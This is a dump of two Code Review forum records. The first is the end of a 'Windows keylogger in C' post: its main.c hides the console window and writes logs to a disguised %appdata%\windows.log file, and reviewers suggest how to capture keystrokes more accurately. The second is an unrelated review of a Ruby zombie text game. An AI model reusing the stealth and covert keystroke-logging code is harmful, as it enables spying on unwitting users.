#include <stdio.h>
#include <string.h>
#include <time.h>
#include <stdbool.h>
#include <stdlib.h>
bool invisible = true;
char fileName[MAX_PATH];
void hide(void)
{
HWND stealth;
/* Retrieves a handle to the top-level window whose class name and window name match the specified strings.
1st Parmeter lpClassName: ConsoleWindowClass - Class Name
2nd Parameter lpWindowName: parameter is NULL, all window names match.
If the function succeeds, the return value is a handle to the window that has the specified class name and window name.
If the function fails, the return value is NULL.
*/
stealth = FindWindow("ConsoleWindowClass", NULL );
ShowWindow(stealth, 0);
}
void init(void)
{
// get path to appdata folder
char* dest = "%appdata%\\windows.log";
/* Expands the envirnment variable given into a usable path
1st Parameter lpSrc: A buffer that contains one or more environment-variable strings in the form: %variableName%.
2nd Parameter lpDst: A pointer to a buffer that receives the result of expanding the environment variable strings in the lpSrc buffer.
3rd Parameter nSize: The maximum number of characters that can be stored in the buffer pointed to by the lpDst parameter.
The return value is the fully expanded pathname.
*/
ExpandEnvironmentStrings(dest, fileName, MAX_PATH);
// open file
FILE *file;
file = fopen(fileName, "a+");
time_t startTime = time(0);
// see if file is empty
long savedOffset = ftell(file);
fseek(file, 0, SEEK_END);
if (!ftell(file) == 0) fputc('\n', file);
fseek(file, savedOffset, SEEK_SET);
// print timestamp
fputs("### Started logging at: ", file);
fputs(ctime(&startTime), file);
fclose(file);
}
void powerdown(void)
{
// get path to appdata folder
char* dest = "%appdata%\\windows.log";
ExpandEnvironmentStrings(dest, fileName, MAX_PATH);
// open file
FILE *file;
file = fopen(fileName, "a+");
time_t endTime = time(0);
fputs("\n### Stopped logging at: ", file);
fputs(ctime(&endTime), file);
fclose(file);
}
char getFileName()
{
return fileName;
}
int main(int argc, char* argv[])
{
int startKeyLogging(char* argv[]);
if (invisible) hide();
init();
start(argv);
atexit(powerdown); // only works if process isn't killed
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-01-01T17:24:50.910",
"Id": "137184",
"Score": "0",
"body": "what is the use of this GetAsyncKeyState(VK_SHIFT)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-01-01T19:07:59.103",
"Id": "137196",
"Score": "0",
"body": "@Osama It determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to `GetAsyncKeyState()`."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2016-03-04T02:47:15.557",
"Id": "227010",
"Score": "0",
"body": "Did you get a chance to make this to run in Unix. I am looking for a keylogger in Unix. But couldn't find a stable one. Or do you have any suggestions for Unix keylogger[Any URLs] ? It would be very helpful."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2016-03-04T03:06:52.160",
"Id": "227013",
"Score": "0",
"body": "@DineshAppavoo Unfortunately, I stopped pursuing this project a while ago and hadn't yet been able to port it for Unix systems."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2016-03-04T04:38:34.607",
"Id": "227019",
"Score": "0",
"body": "ah Ok. Thanks for your response though."
}
] | [
{
"body": "<ul>\n<li><p>You have some global variables in <strong>main.c</strong>:</p>\n\n<blockquote>\n<pre><code>bool invisible = true;\nchar fileName[MAX_PATH];\n</code></pre>\n</blockquote>\n\n<p>They should be placed in the closest <em>local</em> scope possible and passed to functions as needed.</p></li>\n<li><p>Your <code>#define</code>s in <strong>keylogger.c</strong>:</p>\n\n<blockquote>\n<pre><code>#define VK_VOLUME_MUTE 0xAD\n#define VK_VOLUME_DOWN 0xAE\n#define VK_VOLUME_UP 0xAF\n</code></pre>\n</blockquote>\n\n<p>can be made into a more concise <code>enum</code>:</p>\n\n<pre><code>typedef enum { MUTE=0xAD, DOWN=0xAE, UP=0xAF } VK_VOLUME;\n</code></pre>\n\n<p>They should also remain in numerical order like this in an <code>enum</code>.</p></li>\n<li><p>The <code>switch</code> in <code>LowLevelKeyboardProc()</code> can probably be replaced with some kind of hash map to keep these values together for easy searching. This will make maintenance easier in case any changes will be needed, especially when adding additional values.</p></li>\n<li><p>Since you're using <code>return 0</code> and <code>return 1</code> in other functions than in <code>main()</code> (where the returned integer value is already understood), it may be more readable to replace the respective <code>return</code> values with <a href=\"http://www.gnu.org/software/libc/manual/html_node/Exit-Status.html\" rel=\"nofollow\"><code>EXIT_SUCCESS</code> and <code>EXIT_FAILURE</code></a>.</p></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T00:41:11.827",
"Id": "46982",
"ParentId": "46980",
"Score": "12"
}
},
{
"body": "<p>You register keydown events for <kbd>Control</kbd> and <kbd>Alt</kbd> keys, but don't note when they are released. Therefore, you would not be able to distinguish between <kbd>r</kbd> and <kbd>Control</kbd><kbd>r</kbd> by reading the transcript.</p>\n\n<p>Those are some huge <code>switch</code> statements. I would consider making some lookup tables instead. There are fewer than 255 key codes defined, and their <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731%28v=vs.85%29.aspx\">numeric values are well documented</a>. Handle the <kbd>a</kbd>-<kbd>z</kbd> cases programatically, then use lookup tables for the rest. Define a \"neutral\" table and a table for values with <kbd>Shift</kbd> active. Performance might not be any better, and there will be some repetition between the tables, but I think the code would still be more readable.</p>\n\n<p>Fundamentally, though, you've written a keycode-to-symbol map, which means you've reimplemented a hard-coded US English keyboard layout. That's not correct in the general case. You actually have two good options:</p>\n\n<ol>\n<li>Log the hardware-level events: the keydown/keyup events, timings, and keycodes. Write the output in a not-very-human-readable numeric format. You could write a separate interpretation tool translate those events to text.</li>\n<li>Log the logical symbols that should be produced according to the keyboard mapping or input method that the user has selected in the Control Panel. You should be able to use functions such as <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms646300%28v=vs.85%29.aspx\"><code>GetKeyNameText()</code></a> to help you. In general, the problem is much more complicated, though. For example, if the user has activated the <a href=\"http://en.wikipedia.org/wiki/Cangjie_input_method\">Cangjie input method</a>, and types the keyboard sequence <kbd>h</kbd><kbd>q</kbd><kbd>i</kbd><kbd>Space</kbd>, the resulting character that is produced should be \"我\" <a href=\"http://www.unicode.org/cgi-bin/GetUnihanData.pl?codepoint=6211\">(U+6211)</a>. I'm not familiar with how you can hook into the Windows Input Method system.</li>\n</ol>\n\n<p>Based on the Single Responsibility Principle, I'd choose the first option: let the keylogger log the key events, and write a separate interpretation tool.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T02:06:05.973",
"Id": "46984",
"ParentId": "46980",
"Score": "15"
}
}
] | {
"AcceptedAnswerId": "46984",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T00:21:26.510",
"Id": "46980",
"Score": "26",
"Tags": [
"c",
"windows",
"logging",
"portability"
],
"Title": "Windows keylogger in C"
} | 46980 |
<p>So about a year and a half ago, me and my friend started on a game called <em>Zombie Smack Down</em>. It's a text based game written in Ruby. But we were both really new to Ruby when most of it was written. I realize lots of this code is probably really bad, but I'm kinda stuck in my ways. </p>
<p>I'd love to know which parts of it can be refactored, and changed to follow Ruby best practices, in the game and in the tests The code is also on Github <a href="https://github.com/INOVA-Technology/Zombie-Smack-Down" rel="noreferrer">here</a>, but that'll probably get updated and no longer be the same as the code on this site. (and if you find any camel case methods, or variables please let me know, but I tried to remove all that, but I may have missed some. I know it's bad practice in Ruby, I was younger when I made much of this.) If you install if from the one-liner on github, you don't have to enter your correct password, but if you do it'll add a really outdate manual page. Sorry, the installer and updater don't work on Windows and probably not Linux either. I don't have a way to test that.</p>
<p>And I know a lot of this can be updated for Ruby 2 syntax, but I need it to be compatible with the computers at my school, which have 1.8.7 installed, and jailbroken iPods, using Ruby 1.8.6 which is why there a lot of parenthesis around things like puts, because it gives warnings. For now, the tests only really need to work in Ruby 2.1.1, I'm not even sure how well it works in 1.8.7/1.8.6</p>
<p>One last thing, the signal trapping is not working, I tried typing Ctrl-c and it didn't quit. I'd love help with that, but I'm asking this question for a "Code Review". It's just a side note.</p>
<p>requie/player.yml, scores.yml, and tests.rb are on Github only because it said I had too many charecters in my question.</p>
<p><strong>zsd:</strong></p>
<pre><code>#!/usr/bin/env ruby
$rpath = "#{File.expand_path '~'}/.zsd"
require "optparse"
$options = []
OptionParser.new { |opts|
opts.on("-i", "--info", "Shows info on current game") {
$options << "i"
}
opts.on("-h", "--help", "Shows help page") {
$options << "h"
}
opts.on("-s", "--scores", "Shows top 5 high scores") {
$options << "s"
}
opts.on("-u", "--update", "Updates zsd") {
$options << "u"
}
opts.on("-t", "--testing", "For dev use only") {
$rpath = "."
}
}.parse!
require "#{$rpath}/require/other"
def main
cli = Cli.new
unless $options.empty?
$options.each { |o|
case o
when "i"
cli.player.info
exit
when "h"
cli.tutorial
exit
when "s"
cli.scores
exit
when "u"
system "~/.zsd/update.sh"
exit
end
}
end
%w[ TERM INT HUP ].each { |signal|
trap(signal) {
exit_game $player
}
}
start cli
end
def start cli
p_info("Type help for help.")
loop {
cli.spawn_zombie
while cli.zombie.is_alive
input = prompt(">").split
command = input[0]
if cli.commands.include? command
cli.send(command, *input[1..-1])
else
p_warn("Unknown Command.") unless command.nil?
end
end # zombie has died if loop ends
} # end game loop
end
if __FILE__ == $0
main
end
</code></pre>
<p><strong>require/colors.rb:</strong></p>
<pre><code>class String
def black; "\033[30m#{self}\033[0m" end
def red; "\033[31m#{self}\033[0m" end
def green; "\033[32m#{self}\033[0m" end
def brown; "\033[33m#{self}\033[0m" end
def blue; "\033[34m#{self}\033[0m" end
def magenta; "\033[35m#{self}\033[0m" end
def cyan; "\033[36m#{self}\033[0m" end
def gray; "\033[37m#{self}\033[0m" end
def bg_black; "\033[40m#{self}\033[0m" end
def bg_red; "\033[41m#{self}\033[0m" end
def bg_green; "\033[42m#{self}\033[0m" end
def bg_brown; "\033[43m#{self}\033[0m" end
def bg_blue; "\033[44m#{self}\033[0m" end
def bg_magenta; "\033[45m#{self}\033[0m" end
def bg_cyan; "\033[46m#{self}\033[0m" end
def bg_gray; "\033[47m#{self}\033[0m" end
def bold; "\033[1m#{self}\033[22m" end
def reverse_color; "\033[7m#{self}\033[27m" end
end
def p_info s
puts s.magenta
end
def p_error s
puts s.red
end
def p_pain s
puts s.red
end
def p_level_up s
puts s.cyan
end
def p_warn s
puts s.brown # its yellow
end
</code></pre>
<p><strong>require/other.rb:</strong></p>
<pre><code>require "readline"
require "yaml"
require "#{$rpath}/require/zombie"
require "#{$rpath}/require/colors"
require "#{$rpath}/require/combo"
require "#{$rpath}/require/player"
class Cli
attr_accessor :player, :zombie, :commands
def initialize
@player = Player.new
@commands = %w[ kick punch combo combolist taunt info scores quit help heal easter ]
@combos = { "kick punch" => KickPunch.new,
"trip stomp" => TripStomp.new,
"punch punch kick" => PunchPunchKick.new,
"Knee Punch Face Slap" => KneePunchFaceSlap.new,
"heal fury" => HealFury.new(@player),
"elbow fist knee fist knee body slam" => ElbowFistKneeFistKneeBodySlam.new,
"kick kick kick kick kick kick kick kick kick kick kick kick kick kick kick" => KickKickKickKickKickKickKickKickKickKickKickKickKickKickKick.new,
"combo of possible death" => ComboOfPossibleDeath.new,
"combo of death" => ComboOfDeath.new,
"coolest combo ever" => CoolestComboEver.new,
"chase punch of fire" => ChasePunchOfFire.new,
"addison kick of cold hard music" => AddisonKickOfColdHardMusic.new,
"not a combo" => NotACombo.new,
"pain with a side of blood" => PainWithASideOfBlood.new,
"the combo" => TheCombo.new,
"the 2nd combo" => The2ndCombo.new,
"ultimate destruction kick punch" => UltimateDestructionKickPunch.new,
"the 3rd combo" => The3rdCombo.new,
"pretty good combo" => PrettyGoodCombo.new,
"chuck norris stomp of mayhem" => ChuckNorrisStompOfMayhem.new
}
end
def spawn_zombie
zombies = [ Zombie,
BigZombie,
DaddyZombie,
GunZombie,
NinjaZombie,
IdiotZombie,
BlindZombie,
StrongZombie,
BasicallyDeadZombie,
SuperZombie,
BossZombie,
UltimateZombie ]
@zombie = zombies[@player.save[:wave] - 1].new
end
def attack damage
@zombie.take_damage damage
z_damage = @zombie.attack
@player.take_damage z_damage if @zombie.is_alive
p_pain("#{@player.phrases.rand_choice} #{@zombie.name}! -#{damage}")
p_pain("#{@zombie.name} #{@zombie.phrases.rand_choice}! -#{z_damage}")
@zombie.check_dead
@player.check_dead
@player.add_kill if !@zombie.is_alive
@player.give_xp @zombie.xp if !@zombie.is_alive
end
def do_combo
# keep combos in order of xp cost
# and keep keys lowercase
if @combos.has_key? c = prompt("Which combo? ")
used_combo = @combos[c]
if @player.save[:xp] >= used_combo.price
damage = used_combo.use
@player.give_xp -used_combo.price
return true, damage
else
p_warn("You don't have enough xp loser.")
return false
end
else
p_warn("That is not a combo.")
return false
end
end
# CLI METHODS BELOW
def kick *args
attack @player.kick
end
def punch *args
attack @player.punch
end
def combo *args
success, damage = do_combo
attack damage if success
end
def combolist *args
amount = @player.save[:rank]
p_info "Unlocked Combos:"
combos = @combos.sort_by { |k, v| v.price }
amount.times { |i|
p_info "#{combos[i][1].name}: -#{combos[i][1].price} xp"
}
end
def scores *args
scores = YAML.load_file("#{$rpath}/scores.yml")
p_info "High Scores:"
scores.each { |s|
p_info "#{s[1]}: #{s[0]}"
}
end
def quit *args
p_warn "Wanna save yo game? yes or no"
answer = prompt
while !(["yes", "y", "no", "n"].include? answer)
p_warn "I didn't catch that. Yes or No?"
answer = prompt
end
save_game = (answer == "yes" ? true : false)
@player.save_game if save_game
exit
end
def help *args
p_info "Available commands:"
puts(@commands.join " ")
end
def taunt *args
if @player.save[:taunts_available] > 0
@player.taunt
else
p_warn "You have no more taunts."
end
end
def heal *args
amount = args[0].to_i
if amount > 0
@player.heal amount
else
p_warn "Please specify a number greater than 0. Example: heal 5"
end
end
def info *args
@player.info
puts
@zombie.info
end
def easter *args
if args[0] == "egg"
unless @player.save[:egg_used]
xp = (-50..75).to_a.rand_choice
@player.give_xp xp
p_level_up "#{(xp >= 0 ? "+" : "-") + xp.abs.to_s} xp"
@player.save[:egg_used] = true
else
p_warn "You used your easter egg this game you cheater :/"
end
else
p_warn "Unknown Command."
end
end
end
class Array
def rand_choice
if RUBY_VERSION.to_f > 1.8
self.sample
else
self[rand(self.length)]
end
end
end
def exit_game player
Thread.new {
player.save_game
puts("^C")
p_level_up "Game saved."
exit
}
end
def prompt _prompt="", newline=false
_prompt += "\n" if newline
inText = Readline.readline(_prompt, true).squeeze(" ").strip.downcase
inText
end
</code></pre>
<p><strong>require/combo.rb:</strong></p>
<pre><code>class Combo
attr_accessor :name, :price
def initialize player=nil
@player = player
self.setInfo
end
def use
self.extra
@damage.to_a.rand_choice
end
def extra
end
end
# try to keep combos in order of xp cost
# also add new combos to combos variable in the start function in the zsd file
class KickPunch < Combo
def setInfo
@name = "Kick Punch"
@price = 2
@damage = (3..9)
end
end
class TripStomp < Combo
def setInfo
@name = "Trip Stomp"
@price = 3
@damage = (4..10)
end
end
class PunchPunchKick < Combo
def setInfo
@name = "Punch Punch Kick"
@price = 4
@damage = (4..12)
end
end
class KneePunchFaceSlap < Combo
def setInfo
@name = "Knee Punch Face Slap"
@price = 4
@damage = (2..12)
end
end
class HealFury < Combo
def setInfo
@name = "Heal Fury"
@price = 5
@damage = (5..10)
end
def extra
health = -((3..7).to_a.rand_choice)
@player.take_damage health
end
end
class ElbowFistKneeFistKneeBodySlam < Combo
def setInfo
@name = "Elbow Fist Knee Fist Knee Body Slam"
@price = 6
@damage = (3..18)
end
end
class KickKickKickKickKickKickKickKickKickKickKickKickKickKickKick < Combo
def setInfo
@name = "Kick Kick Kick Kick Kick Kick Kick Kick Kick Kick Kick Kick Kick Kick Kick"
@price = 7
@damage = (9..17)
end
end
class ComboOfPossibleDeath < Combo
def setInfo
@name = "Combo of Possible Death"
@price = 9
@damage = (5..25)
end
end
class ComboOfDeath < Combo
def setInfo
@name = "Combo of Death"
@price = 12
@damage = (14..30)
end
end
class CoolestComboEver < Combo
def setInfo
@name = "Coolest Combo Ever"
@price = 15
@damage = (10..25)
end
end
class ChasePunchOfFire < Combo
def setInfo
@name = "Chase Punch of Fire"
@price = 20
@damage = (20..40)
end
end
class AddisonKickOfColdHardMusic < Combo
def setInfo
@name = "Addison Kick of Cold Hard Music"
@price = 20
@damage = (20..40)
end
end
class NotACombo < Combo
def setInfo
@name = "Not A Combo"
@price = 20
@damage = (25..45)
end
end
class PainWithASideOfBlood < Combo
def setInfo
@name = "Pain With a Side of Blood"
@price = 25
@damage = (35..50)
end
end
class TheCombo < Combo
def setInfo
@name = "The Combo"
@price = 25
@damage = (1..100)
end
end
class The2ndCombo < Combo
def setInfo
@name = "The 2nd Combo"
@price = 30
@damage = (20..100)
end
end
class UltimateDestructionKickPunch < Combo
def setInfo
@name = "Ultimate Destruction Kick Punch"
@price = 30
@damage = (40..75)
end
end
class The3rdCombo < Combo
def setInfo
@name = "The 3rd Combo"
@price = 35
@damage = (50..85)
end
end
class PrettyGoodCombo < Combo
def setInfo
@name = "Pretty Good Combo"
@price = 50
@damage = (45..111)
end
end
class ChuckNorrisStompOfMayhem < Combo
def setInfo
@name = "Chuck Norris Stomp of Mayhem"
@price = 1000
@damage = (1..2_000_000)
end
end
</code></pre>
<p><strong>require/player.rb:</strong></p>
<pre><code>class Player
# try to put methods in alphebetical order, except init
attr_accessor :save, :phrases
def initialize
@save = YAML.load_file("#{$rpath}/require/player.yml")
@save_original = { :health => 25,
:xp => 15,
:rank => 1,
:wave => 1,
:zombies_killed => 0,
:total_kills => 0,
:kick_upgrade => 0,
:punch_upgrade => 0,
:taunts_available => 3,
:egg_used => false,
:new_game => true }
if @save[:new_game]
self.give_xp((@save[:rank] - 1) * 2)
@save[:new_game] = false
end
@phrases = ["You smacked down the", "You hit the", "Whose your daddy", "You just powned the"]
end
def add_kill
@save[:total_kills] += 1
@save[:zombies_killed] += 1
self.next_wave if @save[:zombies_killed] % 3 == 0
self.rank_up if @save[:total_kills] % 15 == 0
end
def check_dead
self.die if @save[:health] <= 0
end
def die
self.reset
p_warn "You died!!!"
p_warn "You killed #{@save[:zombies_killed]} zombies."
self.save_score
exit
end
def give_xp amount
@save[:xp] += amount
end
def heal amount
if @save[:xp] >= amount
@save[:health] += amount
self.give_xp -amount
p_level_up "+#{amount} health!"
else
p_warn "You do not have enough xp!"
end
end
def info
p_info "Health: #{@save[:health]}"
p_info "XP: #{@save[:xp]}"
p_info "Rank: #{@save[:rank]}"
p_info "Wave: #{@save[:wave]}"
p_info "Zombies Killed: #{@save[:zombies_killed]}"
p_info "Total Kills: #{@save[:total_kills]}"
p_info "Kick Upgrade: #{@save[:kick_upgrade]}"
p_info "Punch Upgrade: #{@save[:punch_upgrade]}"
p_info "Taunts Available: #{@save[:taunts_available]}"
end
def kick
(3..7).to_a.rand_choice + @save[:kick_upgrade]
end
def next_wave
@save[:wave] += 1
xp = @save[:wave] + 2
self.give_xp xp
p_level_up "Wave #{@save[:wave]}, +#{xp} xp"
end
def punch
(4..6).to_a.rand_choice + @save[:punch_upgrade]
end
def rank_up
@save[:rank] += 1
p_level_up "Rank Up! You are now rank #{@save[:rank]}. You unlocked a new combo."
self.upgrade
end
def reset
@save_original[:rank] = @save[:rank]
@save_original[:total_kills] = @save[:total_kills]
@save_original[:kick_upgrade] = @save[:kick_upgrade]
@save_original[:punch_upgrade] = @save[:punch_upgrade]
File.open("#{$rpath}/require/player.yml", 'w') { |out|
YAML.dump(@save_original, out)
}
end
def save_game
File.open("#{$rpath}/require/player.yml", 'w') { |out|
YAML.dump(@save, out)
}
end
def save_score
score = @save[:zombies_killed]
scores = YAML.load_file("#{$rpath}/scores.yml")
if score > scores.last[0]
p_level_up "High Score! What is your name?"
name = prompt
scores = scores.push([score, name]).sort_by { |i| -i[0]}
scores.pop
File.open("#{$rpath}/scores.yml", "w") { |out|
YAML.dump(scores, out)
}
end
end
def take_damage damage
@save[:health] -= damage
end
def taunt
taunt = ["HEY ZOMBIE! UR FACE!", "DIRT BAG", "UR MOM", "POOP FACE", "GET OWNED BUDDY BOY", ":p", "EAT MY FIST", "be nice", "You stink", "YO MAMA"].rand_choice
if @save[:xp] >= 2
xp = (-12..12).to_a.rand_choice
self.give_xp xp
p_pain "#{taunt} #{(xp >= 0 ? "+" : "-")}#{xp.abs} xp"
@save[:taunts_available] -= 1
else
p_warn "You are missing the necessary xp to taunt (2)"
end
end
def upgrade
max_level = 6
if @save[:kick_upgrade] >= max_level && @save[:punch_upgrade] >= max_level
return
else
p_level_up "What do you want to upgrade? (kick or punch)"
skill = prompt
while !(["kick", "punch"].include? skill)
p_warn "Please answer with kick or punch. What would you like to upgrade?"
skill = prompt
end
max_level_message = "#{skill} is at the max level (6)"
plus_1 = p_level_up "#{skill} +1"
case skill
when "kick"
if @save[:kick_upgrade] < max_level
@save[:kick_upgrade] += 1
p_level_up plus_1
else
p_warn max_level_message
upgrade
end
when "punch"
if @save[:punch_upgrade] < max_level
@save[:punch_upgrade] += 1
p_level_up plus_1
else
p_warn max_level_message
upgrade
end
end
end
end
end
</code></pre>
<p><strong>require/zombie.rb:</strong></p>
<pre><code>class Zombie
attr_accessor :is_alive, :name, :power, :xp, :phrases, :health
def initialize
@is_alive = true
self.setInfo
end
def setInfo
@name = "Zombie"
@power = (4..6)
@health = 10
@xp = 2
@phrases = ["hit ur face", "punched the heck out of you", "beat the heck out of you", "bruised ur face"]
end
def info
_power = @power.to_a
p_info "#{@name} health: #{@health}"
p_info "Attack Strength: #{_power[0]} to #{_power[-1]}"
end
def attack
@power.to_a.rand_choice
end
def take_damage amount
@health -= amount
end
def check_dead
self.die if @health <= 0
end
def die
p_pain "KO! You killed the #{@name}"
@is_alive = false
end
end
# start extra zombies
class BigZombie < Zombie
def setInfo
@name = "Big Zombie"
@power = (6..8)
@health = 15
@xp = 4
@phrases = ["hit ur face", "punched the heck out of you", "beat the heck out of you", "bruised ur face"]
end
end
class DaddyZombie < Zombie
def setInfo
@name = "Daddy Zombie"
@power = (4..10)
@health = 20
@xp = 9
@phrases = ["IS your daddy", "punched the heck out of you", "beat the heck out of you", "ain't your mom", "told you to go to bed"]
end
end
class GunZombie < Zombie
def setInfo
@name = "Gun Zombie"
@power = (3..15)
@health = 20
@xp = 15
@phrases = ["shot yo face", "shot the heck out of you", "beat the heck out of you", "made you eat bullets", "showed you his ak-47"]
end
end
class NinjaZombie < Zombie
def setInfo
@name = "Ninja Zombie"
@power = (7..20)
@health = 20
@xp = 18
@phrases = ["was to ninja for you", "threw a ninja star at your face", "is a blur", "sent you flying", "has a black belt"]
end
end
class IdiotZombie < Zombie
def setInfo
@name = "Idiot Zombie"
@power = (7..20)
@health = 2
@xp = 5
@phrases = ["is an idiot but still pwn-ed u", "fell down from stupidness but somehow landed on you", "beat ur face's face", "is somehow beating you"]
end
end
class BlindZombie < Zombie
def setInfo
@name = "Blind Zombie"
@power = (1..25)
@health = 24
@xp = 20
@phrases = ["tried to hit you", "cant see ur face", "cant touch this", "cant see you but hurt you anyway"]
end
end
class StrongZombie < Zombie
def setInfo
@name = "Strong Zombie"
@power = (15..21)
@health = 30
@xp = 30
@phrases = ["destroyed you", "may have murdered you", "is strong", "is VERY strong", "works out"]
end
end
class BasicallyDeadZombie < Zombie
def setInfo
@name = "Basically Dead Zombie"
@power = (50..75)
@health = (2..5).to_a.rand_choice
@xp = (2..5).to_a.rand_choice
@phrases = ["totally pwn-ed you!", "hurt you pretty bad", "obliterated you", "probably killed you", "is not dead"]
end
end
class SuperZombie < Zombie
def setInfo
@name = "Super Zombie"
@power = (35..56)
@health = 65
@xp = 38
@phrases = ["is up up and away!", "just chucked kryptonite at ur face", "has super strength", "is the ultimate super villain", "just mad you cry"]
end
end
class BossZombie < Zombie
def setInfo
@name = "Boss Zombie"
@power = (60..90)
@health = (95..105).to_a.rand_choice
@xp = (65..80).to_a.rand_choice
@phrases = ["sent you to work!", "is not giving you a raise", "is a boss!", "just fired you", "just demoted you"]
end
end
class UltimateZombie < Zombie
def setInfo
@name = "Ultimate Zombie"
@power = (75..115)
@health = 100
@xp = 115
@phrases = ["is to ultimate", "is really scary", "just gave you a nice punch to the face", "is more ultimate than you", "makes you look... un-ultimate"]
end
end
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T02:32:23.747",
"Id": "82275",
"Score": "0",
"body": "To trap the CTRL-C interrupt signal, you need to `rescue Interrupt`. See [this SO question](http://stackoverflow.com/questions/2089421/capturing-ctrl-c-in-ruby) for more info."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T02:39:48.867",
"Id": "82276",
"Score": "0",
"body": "It used to work using signal trapping though. I don't see any changes in that part of the code so I don't know why it doesn't anymore. But I'll try that, thanks!"
}
] | [
{
"body": "<p>I would like to start by saying that I've never worked with ruby 1.8.7, so I apologize in advance if some of my observations are not relevant for that version...</p>\n\n<p><strong>Require relative</strong><br>\nYou use <code>$rpath</code> where you <em>assume</em> that your app is installed somewhere, which is a very big assumption. Don't do that.<br>\nI know, <code>require_relative</code> is not supported on 1.8.7, but it appears to have a <a href=\"https://stackoverflow.com/questions/4333286/ruby-require-vs-require-relative-best-practice-to-workaround-running-in-both\">workaround</a>. This way you can install your app anywhere, and it will still work.</p>\n\n<p><strong>Global methods</strong><br>\nYou use global methods to drive your printing. Global methods are 'magical', in the sense that a reader cannot be sure where they came from.<br>\nA better solution might be to put these methods in a <code>module</code>, maybe call it <code>ColoredLogger</code>, and <code>include</code> it in classes you want to use it in.</p>\n\n<p><strong>Patching classes</strong><br>\nYou are patching the <code>String</code> class. Patching a class should be done <em>very</em> rarely, as it may affect unaware third parties.<br>\nYour use of patching seems hardly warranted, as you add for an internal single use in the same place you define it.<br>\nSimply define the color table anywhere else:</p>\n\n<pre><code>Colors = {\nblack: { prefix: 30, suffix: 0 },\nred: { prefix: 31, suffix: 0 },\ngreen: { prefix: 32, suffix: 0 },\nbrown: { prefix: 33, suffix: 0 },\nblue: { prefix: 34, suffix: 0 },\nmagenta: { prefix: 35, suffix: 0 },\ncyan: { prefix: 36, suffix: 0 },\ngray: { prefix: 37, suffix: 0 },\nbg_black: { prefix: 40, suffix: 0 },\nbg_red: { prefix: 41, suffix: 0 },\nbg_green: { prefix: 42, suffix: 0 },\nbg_brown: { prefix: 43, suffix: 0 },\nbg_blue: { prefix: 44, suffix: 0 },\nbg_magenta: { prefix: 45, suffix: 0 },\nbg_cyan: { prefix: 46, suffix: 0 },\nbg_gray: { prefix: 47, suffix: 0 },\nbold: { prefix: 1, suffix: 22 },\nreverse_color: { prefix: 7, suffix: 27 }\n}\n\ndef colorize(color, string)\n \"\\033[#{Colors[color][:prefix]}m#{string}\\033[#{Colors[color][:suffix]}m\nend\n</code></pre>\n\n<p>or even simply do it hard coded in your methods.</p>\n\n<p>Your <code>Array</code> patch seems much more relevant than the <code>String</code> patch.</p>\n\n<p><strong>Variables vs. constants</strong><br>\nYour <code>CLI</code> class's <code>initializer</code> populates <code>combos</code> and <code>commands</code> with hard coded data which never changes. They <em>should</em> be declared as constants:</p>\n\n<pre><code>class CLI\n COMMANDS = %w[ kick punch combo combolist taunt info scores quit help heal easter ]\n COMBOS = { \"kick punch\" => KickPunch.new,\n # ..\n }\n</code></pre>\n\n<p><strong>What are classes for?</strong><br>\nYour <code>Combo</code> classes and <code>Zombie</code> classes are not really classes, but configuration - they do not add any functionality, and therefore should not be classes.<br>\nYou can use <code>JSON</code> configuration files, where you can keep the names and vitals of each flavor you need, and <code>Combo</code> and <code>Zombie</code> instances may simply refer to a flavor:</p>\n\n<pre><code>{ \"KickPunch\": { \"name\": \"Kick Punch\",\n \"price\": 2,\n \"min_damage\": 3,\n \"max_damage\": 9},\n \"TripStomp\": { ... },\n ....\n}\n</code></pre>\n\n<p><strong>State once-removed</strong><br>\nYou save your player's state in a <code>@save</code> hash inside your instance. This is not very object oriented, and doesn't seem to be warranted - facilitating a quick save is not a good enough reason. When you save, simply collect the relevant data.<br>\nIt is also unclear what happens if the saved file does not exist when the game starts.</p>\n\n<p><strong>What does reset do?</strong><br>\nGive clear names to your methods and members. What does <code>@save_original</code> hold? Why does <code>reset</code> change it? Why is it called when a player dies?<br>\nYou have two different methods called <code>attack</code> which seem to do completely different stuff - one is a getter, while the other manages the battle. You might want to reconsider their names.</p>\n\n<p><strong>Model View Controller</strong><br>\nYour design is not very MVC - the model prompts the user, and gives the user feedback, etc. Make an effort to separate the game logic from user interactions, it would make adapting your game to different UIs a lot easier, or should I say - possible.</p>\n\n<p><strong>When to use <code>*args</code>?</strong><br>\nYou use <code>*args</code> quite liberally in your <code>Cli</code> class. <code>*args</code> are used when you want to have a dynamic number of arguments. It is <em>not</em> a solution for a catch-all API. You want to <em>tell</em> the user of your API that he uses your API with too many arguments, rather than swallow it.</p>\n\n<pre><code>Cli.combo \"some\", [\"garbage\", \"that\"], :should_not, Be, here\n</code></pre>\n\n<hr>\n\n<p>I don't think that it is in the scope of CR to hunt down camelCase methods in your code, so I'm not going to do it (<code>setInfo</code>)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T13:17:09.703",
"Id": "82303",
"Score": "0",
"body": "Thanks! Ya sorry I'm wasn't asking to find camel case methods, I just thought if anyone happened to notice one then I'd love to know."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T08:07:58.690",
"Id": "46990",
"ParentId": "46983",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "46990",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T01:40:17.447",
"Id": "46983",
"Score": "6",
"Tags": [
"beginner",
"ruby",
